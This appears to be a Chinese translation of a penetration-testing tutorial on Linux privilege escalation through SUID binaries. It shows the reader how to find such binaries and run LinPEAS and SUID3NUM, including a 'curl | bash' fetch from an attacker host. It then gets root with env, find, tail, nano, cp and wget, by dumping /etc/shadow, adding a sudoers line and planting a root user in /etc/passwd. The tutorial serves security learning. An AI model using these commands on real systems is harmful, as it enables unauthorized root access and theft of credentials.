本文通过 Google 翻译 SUID | SGID Part-1 -- Linux Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
导航
- [0 前言](#0 前言)
- [1 了解特殊权限](#1 了解特殊权限)
- [2 寻找 SUID/SGID 二进制文件 -- 手动方法](#2 寻找 SUID/SGID 二进制文件 – 手动方法)
- [2.1 枚举 SUID 二进制文件](#2.1 枚举 SUID 二进制文件)
- [2.2 枚举 SGID 二进制文件](#2.2 枚举 SGID 二进制文件)
- [3 寻找 SUID/SGID 二进制文件 -- 自动工具](#3 寻找 SUID/SGID 二进制文件 – 自动工具)
- [3.1 枚举 SUID/SGID 二进制文件 -- LinPEAS](#3.1 枚举 SUID/SGID 二进制文件 – LinPEAS)
- [3.1.1 枚举 SUID 二进制文件](#3.1.1 枚举 SUID 二进制文件)
- [3.1.2 枚举 SGID 二进制文件](#3.1.2 枚举 SGID 二进制文件)
- [3.2 枚举 SUID 二进制文件 -- SUID3NUM](#3.2 枚举 SUID 二进制文件 – SUID3NUM)
- [3.2.1 下载并执行 SUID3NUM](#3.2.1 下载并执行 SUID3NUM)
- [3.2.2 回顾调查结果](#3.2.2 回顾调查结果)
- [3.2.3 将 AutoPwn 开关拨至 ON](#3.2.3 将 AutoPwn 开关拨至 ON)
- [3.1 枚举 SUID/SGID 二进制文件 -- LinPEAS](#3.1 枚举 SUID/SGID 二进制文件 – LinPEAS)
- [4 利用 SUID 二进制文件 -- GTFOBins](#4 利用 SUID 二进制文件 – GTFOBins)
- [4.1 利用 Easy Shell 二进制文件 -- env/find](#4.1 利用 Easy Shell 二进制文件 – env/find)
- [4.2 利用文件读/写二进制文件 -- tail/nano](#4.2 利用文件读/写二进制文件 – tail/nano)
- [4.2.1 读取敏感文件 -- tail](#4.2.1 读取敏感文件 – tail)
- [4.2.2 写入敏感文件 -- nano](#4.2.2 写入敏感文件 – nano)
- [4.3 利用一些需要创造力的二进制文件 -- cp/wget](#4.3 利用一些需要创造力的二进制文件 – cp/wget)
- [4.3.1 将 SUID 权限注入 bash -- cp](#4.3.1 将 SUID 权限注入 bash – cp)
- [4.3.2 下载新的 passwd 文件 -- wget](#4.3.2 下载新的 passwd 文件 – wget)
- [5 最后的想法](#5 最后的想法)
0、前言
在这篇由两部分组成的关于 Linux 权限升级的文章中,我们将探讨如何滥用开启了 SUID 和/或 SGID 位的二进制文件。
这篇文章比我最初预想的要长得多,所以我不得不将其分成两部分。
在第 1 部分中,我们将首先学习如何手动枚举 SUID 和 SGID 二进制文件以及如何使用两个不同的工具:LinPEAS 和 SUID3NUM。
在枚举阶段,我们将在受害主机上发现总共十个易受攻击的 SUID 二进制文件。在这十个二进制文件中,我们将发现其中六个是标准二进制文件(即常见的命令),另外四个是自定义二进制文件(即个人制作的命令)。
在枚举系统上所有 SUID 二进制文件之后,我们将通过一个名为 GTFObins 的强大网站来利用这六个标准二进制文件。
一旦我们完成了对标准二进制文件的利用,我们将把重点转移到自定义二进制文件上。但是,这将在本文的第 2 部分中介绍。
让我们开始吧!
1、了解特殊权限
SUID 和 SGID 被称为"特殊权限",因为它们允许在标准权限位之上拥有额外的特权。
在 Linux 中,有 3 个权限集:所有者、群组和其它人。每个权限集的标准权限位是 RWX -- 读取、写入和执行。

当我们执行 ls -l 命令时,可以看到权限以及文件所有者和所属群组。

要了解权限如何运作的更深入解释,请在此处查看我关于弱文件权限的权限提升帖子。
除了三个标准权限位之外,还有三个特殊权限位:SUID、SGID 和 Sticky。
这些特殊权限只能存在于各自的集合中。我的意思是,SUID 仅适用于所有者集,SGID 仅适用于群组集,Sticky 仅适用于其他人集。此外,当其中任何一个被启用时,它们总是会替换 x 位。

在上图中,我们可以看到 test.c 文件已经启用了所有的特殊权限。另外,背景是红色的,因为设置了 SUID 位,红色就是 SUID 的表示方式。
SUID 和 SGID 分别具有红色和黄色背景。Sticky 则没有背景颜色。

另外,如果启用了特殊权限位的权限集中没有 x 权限,那么他们将在各自的集合中用大写"S"(SUID / SGID)或大写"T"(Sticky)表示。
现在我们已经了解特殊位是如何表示的,让我们再仔细看看 SUID 和 SGID 位,从 SUID 开始。
注:原文关于SUID、SGID、Sticky 三小节的描述,个人感觉有些啰嗦且关于 SGID 的描述不太认可,故此处已删除。
有关 SUID/SGID 特权在功能方面的差异,可看我的实践实验 Linux 特权 SUID/SGID 的详解。
2、寻找 SUID/SGID 二进制文件 - 手动方法
对于本文中的所有示例,我们假设已掌握用户 "user" 的登录信息,且可通过 SSH 对其进行访问。

因为能够通过 SSH 获得立足点,所以我们已经拥有完整的 TTY ,因此就不需要再进行终端升级。
此外,在接下来的所有示例中,我们将重点关注 SUID 位。不过,我们将学习如何同时获取 SUID/SGID 二进制文件。
我们要利用的所有二进制文件都归 root:root 所有,因此无论如何,如果我们发现 SUID 位或 SGID 位被打开,那么二进制文件就会拥有或获得 root 的身份或援助。
2.1、枚举 SUID 二进制文件
要查找系统中的所有 SUID 文件,我们可以通过以下 find 命令去获得:
find / -type f -perm -4000 2>/dev/null
find / -type f -perm -u=s 2>/dev/null

我们马上就能看到很多的 SUID 二进制文件,但这并不意味着它们都是我们感兴趣的。
这些二进制文件大多是默认的 SUID 二进制文件,无法被利用,因此要知道哪些是默认的,哪些是有趣的或自定义的很关键。
乍一看,我们可以看到一些有趣的二进制文件,例如 cp 和 nano ,以及一些自定义二进制文件,包括 suid-path、suid-so、suid-sf。
我们还可以改进此搜索,以仅搜索 root 拥有的 SUID 二进制文件。我们还可以添加 -ls 标志来查看文件权限。
find / -type f -perm -4000 -user root -ls 2>/dev/null
find / -type f -perm -u=s -user root -ls 2>/dev/null

请注意,我并没有突出显示上面所有易受攻击的 SUID 二进制文件。
一旦我们发现一些有趣的二进制文件,我们就可以开始检查它们是否可以使用 GTFObins 进行利用。
在我们开始之前,让我们快速回顾一下如何枚举 SGID 二进制文件,然后再看看工具(LinPEAs 和 SUID3NUM)枚举 SUID 二进制文件的效果如何。
2.2、枚举 SGID 二进制文件
说到 SGID 二进制文件,查找它们的命令与 SUID 非常相似:
find / -type f -perm -2000 2>/dev/null
find / -type f -perm -g=s 2>/dev/null
find / -type f -perm -2000 -user root -ls 2>/dev/null
find / -type f -perm -g=s -user root -ls 2>/dev/null

以上输出这些都是系统默认值,因为我确实也没有设置带有 SGID 位的二进制文件(也就是说本文所涉及的提权方式都是在 SUID 权限下进行的)。
3、寻找 SUID/SGID 二进制文件 -- 自动工具
既然我们已经了解了如何手动枚举 SUID 二进制文件,那么接下来我们将通过使用工具 LinPEAS 和 SUID3NUM 来了解更快速的方法。
这两种工具都可以相当准确地知道哪些 SUID 二进制文件是默认的、还是有趣的或自定义的。
3.1、枚举 SUID/SGID 二进制文件 -- LinPEAS
LinPEAS 是一款终极的后漏洞枚举工具,此处我们直接在受害者主机内存中执行。
curl 172.16.1.30/linpeas.sh | bash
待脚本运行完成后,我们可以对结果进行梳理,看看 LinPEAS 是如何更好地枚举我们要寻找的东西。
3.1.1、枚举 SUID 二进制文件
对于 SUID/SGID 二进制文件,我们需要向下滚动到 Interesting Files 部分。在那里的第一个子部分是 SUID。

在这里我们可以看到 LinPEAS 在查找有趣的 SUID 二进制文件方面做得很好。
首先,它发现了六个已设置 SUID 位的标准二进制文件(这些标准文件默认清况下是不会被设置 SUID 位的)且都是红色/黄色标记,因为每个文件的漏洞都可以在 GTFObins 上找到。
接下来,还可以看到 LinPEAS 发现了另外四个令我们感兴趣的二进制文件,因为它们是"unknown",这通常意味着这些是自定义 SUID 二进制文件,值得进一步检查。
在文章的开头,我们提到一共会有十个例子。在这里,我们可以看到 LinPEAS 能够枚举出我们要利用的所有十个二进制文件。
3.1.2、枚举 SGID 二进制文件
继续向下滚动我们将找到 SGID 子部分,在这里我们可以看到所有 SGID 二进制文件。如前所述,这些文件都是默认的,并没有发现任何有趣的内容。

接下来,让我们看看 SUID3NUM 在枚举 SUID 二进制文件方面的表现如何。
3.2、枚举 SUID 二进制文件 -- SUID3NUM
我们将用来枚举 SUID 二进制文件的第二个工具是 SUID3NUM。这是一个很棒的工具,因为它是专门为枚举 SUID 二进制文件而创建的。但这还不是全部,它还提供了可用于提升权限的命令(命令从 GTFOBins 中提取)。
这还不是最好的部分,SUID3NUM 还具有内置的 autopwn 功能,可以通过 -e 开关激活!
在 OSCP 考试中也使用此工具,只要您不使用自动利用功能。
3.2.1、下载并执行 SUID3NUM
我们可以从 GitHub 仓库中获取 SUID3NUM 的副本,下载脚本的副本后,我们可以使用攻击者机器上已运行的 HTTP 服务器将脚本下载到受害者机器上。
请注意,SUID3NUM 是一个 Python 脚本,因此需要在受害者主机上安装 Python2 或 Python3 才能运行。
这次,我们不会将该脚本直接下载到内存中,而是将其下载到磁盘。
cd /dev/shm
curl 172.16.1.30/suid3num.py -o suid3num.py
将脚本的副本下载到受害者身上后,我们需要授予它执行权限。
chmod 755 /dev/shm/suid3num.py

现在一切准备就绪,我们只需运行脚本,看看它能找到什么。
python3 ./suid3num.py

运行脚本后,我们可以看到它所做的第一个检查是查找主机上的所有 SUID 二进制文件,紧接着神奇的事情就发生了。
3.2.2、回顾调查结果
当我们向下滚动 SUID 二进制文件的完整列表时,我们可以看到脚本将其发现分为以下部分:
- 默认二进制文件 -- 这些文件并不脆弱,我们也对其不感兴趣。

- 自定义 SUID 二进制文件 -- SUID3NUM 将所有有趣和自定义的二进制文件都标记为自定义。

- GTFOBins 列表中的 SUID 二进制文件 -- SUID3NUM 引用 GTFOBins,让我们知道是否有任何二进制文件被列出并因此可被利用。

- 手动利用 -- SUID3NUM 直接从 GTFOBins 为某些可利用的二进制文件提供利用方法。

- 无害的 SUID 二进制文件 -- 这些也是从 GTFObins 中提取的漏洞,只不过这些漏洞可以用一个命令来利用。

Awesome!这个脚本在枚举 SUID 二进制文件方面确实很出色。我想说它甚至比 LinPEAS 更好,因为它是专门为这项任务而设计的。
更重要的是,它同时还提供了可供测试的漏洞命令,这是一个很大的优势。
在我们继续讨论漏洞利用示例之前,让我们快速测试一下自动漏洞利用功能并看看会发生什么。
3.2.3、将 AutoPwn 开关拨至 ON
如前所述,SUID3NUM 可以通过在运行脚本时应用 -e 开关以自动利用易受攻击的 SUID 二进制文件。
那么让我们看看它在我们的处境下会做什么,因为我们确实有多个易受攻击的二进制文件。
python3 ./suid3num.py -e

看起来它首先测试了"无害"的,并且在第一次尝试使用 env 二进制文件时成功将权限提升到 root 。
Cool!这真是一个查找或利用 SUID 二进制文件的绝佳工具。
需要注意的是,自动利用功能是在发现 GTFOBins 上列出了易受攻击的二进制文件时才可用。如果二进制文件是自定义的或未在 GTFObins 上列出,则无法自动利用。
4、利用 SUID 二进制文件 -- GTFOBins
为了启动利用示例,我们将利用设置了 SUID 位的六个有趣的标准二进制文件中的每一个。
对于每个非默认 SUID 二进制文件(是默认命令但被更改过),我们将参考 GTFOBins 来查找漏洞。
对于这些示例,了解 GTFOBins 是什么以及它如何工作非常重要,因此让我们快速回顾一下。
GTFOBins 是精选的 Unix 二进制文件列表,可用于绕过错误配置的系统中本地安全限制。
对于 GTFOBins 上的所有可用漏洞,它们都有一个共同点:假定命令都以 root 身份执行。
话虽如此,但 GTFOBins 针对我们可能遇到的不同情况(sudo、SUID 等)也展示了不同的技术。
无论如何,当谈到 SUID 时,我们总是以 root 身份执行二进制文件,这意味着我们不应该将自己限制在 GTFObins 上提供的 "SUID" 漏洞上。
还要注意的是,并非每个易受攻击的 SUID 二进制文件都会立即产生 root shell。因此,我们将分三部分回顾如何利用这六个二进制文件:(1)易 shell 二进制文件(2)文件读/写二进制文件(3)需要一些创造力才能利用的二进制文件。
4.1、利用 Easy Shell 二进制文件 -- env/find
某些 SUID 二进制文件极易被利用,只需一个命令即可直接进入 root shell。这类二进制文件的两个示例是 env 和 find。
让我们前往 GTFOBins 并查看其中的每一个,从 env 开始。
检查此二进制文件的 SUID 漏洞,显示以下内容:

大多数情况下,GTFObins 建议创建本地 SUID 副本;但是,我们不需要这样做。因为,我们当前的环境中可以直接使用二进制文件的绝对路径。
/usr/bin/env /bin/sh -p

就这样,我们进入了 root shell 并提升了权限!
我曾见过有人将命令中的 sh 替换为 bash,以获得更好的 shell,这确实有效。但是,我也见过漏洞利用在 bash 中失败而在 sh 中成功的情况。因此,如果您选择 bash,请务必小心。更好的选择是将 sh 保留在命令中,然后在获得 shell 后立即使用 /bin/bash -p 将其升级为 bash 。
现在让我们检查 find 命令并看看 GTFOBins 能为该二进制文件提供什么。
就像上次一样,我们应该首先检查此二进制文件的 SUID 漏洞,它显示以下内容:

与上次相同,我们不会创建本地副本,而是使用二进制文件的绝对路径。
/usr/bin/find . -exec /bin/sh -p \; -quit

与上一个例子类似,我们也很快进入了 root shell 并提升了权限
所以说,如果找到设置了 SUID 位的恰当二进制文件,那么提升为 root 权限真的很容易!
4.2、利用文件读/写二进制文件 -- tail/nano
对于下一组示例,我们将研究可用于读取文件或写入文件的 SUID 二进制文件。
4.2.1、读取敏感文件 -- tail
有许多二进制文件可用于读取文件,包括 cat、more、less、head、tail 等。 但在这个例子中,我们将利用 tail。
当上面列出的二进制文件之一设置了 SUID 位时,我们可以使用该二进制文件读取通常只有 root 才能查看的敏感文件。
有助于提升权限的敏感文件包括 /etc/shadow、/root/.ssh/id_rsa 、或标准用户的 id_rsa 或我们在枚举过程中发现的任何我们没有权限读取的有趣文件。
让我们回到 GTFOBins 并看看我们可以做些什么来滥用 tail 二进制文件。

在这里我们可以看到 File Read 和 SUID 部分几乎相同,这是因为只有一种方法可以滥用这个二进制文件。
GTFOBins 喜欢让我们创建一个变量,然后将该变量传递到命令中。但是,我们将稍微改变一下,使用 tail 的绝对路径,然后用我们要读取的文件替换 "$LFILE"。
例如,我们可以使用以下命令从影子文件中获取所有哈希值:
/usr/bin/tail -c1G "/etc/shadow" | grep -v '*\|!'

Amazing!我们能够从影子文件中转储所有哈希值!
现在我们可以获取这些哈希值并尝试使用哈希破解工具(John 或 hashcat)来破解它们。
要了解如何使用 John the Ripper 破解影子哈希,请查看此处的帖子。或者,要了解如何使用 hascat 完成此操作,请查看此处的帖子。
4.2.2、写入敏感文件 -- nano
允许我们写入文件的二进制文件通常包括文本编辑器、调试工具和一些其他二进制文件。
在此示例中,我们将利用文本编辑器 nano。
再次,我们需要首先前往 GTFOBins 查看 nano 有哪些可用的漏洞。

有趣的是,我们只看到了 "Limited SUID" 的漏洞,而没有看到常规的 SUID 漏洞。但是,我们之前了解到,我们不应该局限于只使用 SUID 漏洞。
考虑到这一点,我们应该测试的两个漏洞是 Shell 漏洞和 File Write 漏洞。

为了尽快取得胜利,我们应该首先测试 shell 漏洞。
/bin/nano
^R^X
reset; sh 1>&0 2>&0

第一个命令由于有 $ 提示符,看起来可能起了作用,但这个命令却让 shell 崩溃了。
启动新的 SSH 会话后,我们可以测试第二个 shell 命令:
/bin/nano -s /bin/sh
/bin/sh
^T

有趣的是 它成功了,但是我们在这里可以看到,我们最终也只是以之前相同的用户身份进入了 shell。
接下来,我们知道 nano 的目的是编辑文件,所以我们可以利用这些知识尝试写入敏感文件。
一些有助于提升权限的文件示例包括 /etc/passwd、/etc/shadow、/etc/sudoers。
对于此示例,我们将在 /etc/sudoers 文件中添加一行,为当前用户提供完整的 sudo 权限。
/bin/nano /etc/sudoers
打开后,我们可以在文件底部添加以下行,然后退出:
user ALL=(ALL) NOPASSWD: ALL

默认情况下,标准用户无法读取 sudoers 文件,但我们仍然可以确认它有效。
sudo -l

Perfect!现在我们可以使用以下命令轻松进入 root shell:
sudo su -

4.3、利用需要一些创造力的二进制文件 -- cp/wget
对于第 1 部分中最后一组示例,我们将回顾两个有趣的二进制文件,它们需要一些发散性思维才能升级到 root。
任何不属于其他两类(易 shell 或读/写)的 SUID 二进制文件,通常都需要一些创造力才能使漏洞利用发挥作用。
4.3.1、将 SUID 权限注入 bash -- cp
我们首先查看 GTFOBins 上的 cp 命令,看看如何利用这个二进制文件。

首先进入 SUID 部分,我们可以看到它提供了三个漏洞。前两个是文件写入漏洞;然而,第三个漏洞非常有趣,它通过将 SUID 权限从一个二进制文件复制到另一个二进制文件来更改文件。
由于 cp 本身具有 SUID 权限,这意味着我们可以使用 cp 将其自己的 SUID 权限注入到我们想要注入的任何二进制文件中!
此漏洞不仅会将 SUID 权限注入到任何其他二进制文件中,还会注入 cp 上设置的所有权限(包括文件所有权)。
为了利用这一点,我们需要考虑一个想要添加 SUID 权限的二进制文件。
为了轻松地提升权限,第一个想到的二进制文件是 bash。
根据最佳实践,如果没有必要,我们不应直接编辑系统二进制文件。相反,我们可以用 cp 将要注入的二进制文件复制到 /tmp 目录,然后注入该副本。
cp /bin/bash /tmp

由于 cp 具有 SUID 权限,它将 root 保留为文件所有者,但它确实将我们当前的用户 "user" 指定为组所有者。
但是,当我们将 cp 的权限注入到我们的 bash 副本中时,我们将看到所有权将从 root:user变为 root:root。
/bin/cp --attributes-only --preserve=all /bin/cp /tmp/bash

无论如何,现在,我们只需发出命令便可以进入 root shell。
/tmp/bash -p

4.3.2、下载新的 passwd 文件 -- wget
另一个有趣的 SUID 二进制文件是 wget,它也需要一些创造性思维才能利用。
让我们跳到 GTFOBins 并查看 wget 的可用漏洞。

首先检查 SUID 部分,它表明 wget 可以被利用来进入 root shell。
当然,我们将首先测试它,因为它在 SUID 部分。
TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TF
/usr/bin/wget --use-askpass=$TF 0

不幸的是,它失败了,因为无法识别 GTFOBins 提供的 --use-askpass 开关。
从另一方面来说,我们知道可以尝试其他漏洞,而不仅仅局限于 SUID 漏洞。
那么,让我们看看 GTFOBins 还能提供什么。

通常,在 shell 命令之后,"文件写入 "会是第二个最有趣的发现。但对于 wget,我们应该想想二进制文件通常是用来做什么的,以及设置了 SUID 位之后它的功能会发生什么变化。
由于 wget 主要用于下载文件,因此设置 SUID 位意味着任何下载的文件都将归 root 所有。
但是我们如何利用它来进行恶意攻击或提升权限呢?
我们可以利用这一点,通过用恶意副本替换 root 拥有的现有文件来提升权限。
这应该与文件写入漏洞类似地处理,因为它们本质上是同一件事。
正如在 nano 示例中提到的,当我们有能力以 root 身份写入文件时,我们应该考虑针对一些文件,例如 /etc/passwd、/etc/shadow、etc/sudoers。
下面开始拼凑碎片,然后获得 root
对于这个例子,最好编辑 /etc/passwd 文件,因为它是任何人都可读的,这意味着我们可以在利用它之前进行备份。
首先备份 /etc/passwd文件:
cp /etc/passwd /tmp
备份完成后,我们可以 cat /etc/passwd 文件,然后复制其完整内容。
接下来,我们需要回到攻击者的机器并在我们的工作目录中创建一个名为 passwd 的文件,然后将内容粘贴到其中。

原始 passwd 文件大小为 2617 字节。将其复制到我们的攻击者机器后,我们可以看到它的大小与原始文件大小相同,说明文件完好无损。

现在,我们可以从攻击者的机器向 passwd 文件添加 root 用户。完成后,我们会将其发送回受害者,覆盖当前的 passwd文件。
首先,我们需要使用 openssl 创建一个散列密码 。在这个例子中,我们将保持简单并将密码设置为"password"。
openssl passwd password

运行命令后,我们会得到一个哈希值 ShuKpZV7v9akI, 请保留这个值,因为我们在下一个命令中会需要它。
要创建名为 r00t 的第二个 root 用户 ,我们可以在 passwd 文件中添加以下行: r00t:ShuKpZV7v9akI:0:0:root:/root:/bin/bash
echo 'r00t:ShuKpZV7v9akI:0:0:root:/root:/bin/bash' >> ./passwd

Perfect!文件已准备好发送回受害者。现在剩下要做的就是 cd 到受害者的 /etc 目录,然后使用 wget 下载 passwd 文件。
cd /etc
wget http://172.16.1.30/passwd -O passwd

Awesome!我们的恶意 passwd 副本已经成功覆盖了原始副本。
现在我们可以通过 su 进入我们的新 root 用户并完全控制受害者。
su r00t

5、最后的想法
这些都是好东西,但就 GTFObins 上可找到的易受攻击二进制文件的数量而言,我们在这里只是触及了皮毛。
总之,我们还没完!如果您有兴趣了解我们如何利用自定义 SUID 二进制文件,请继续阅读第二部分。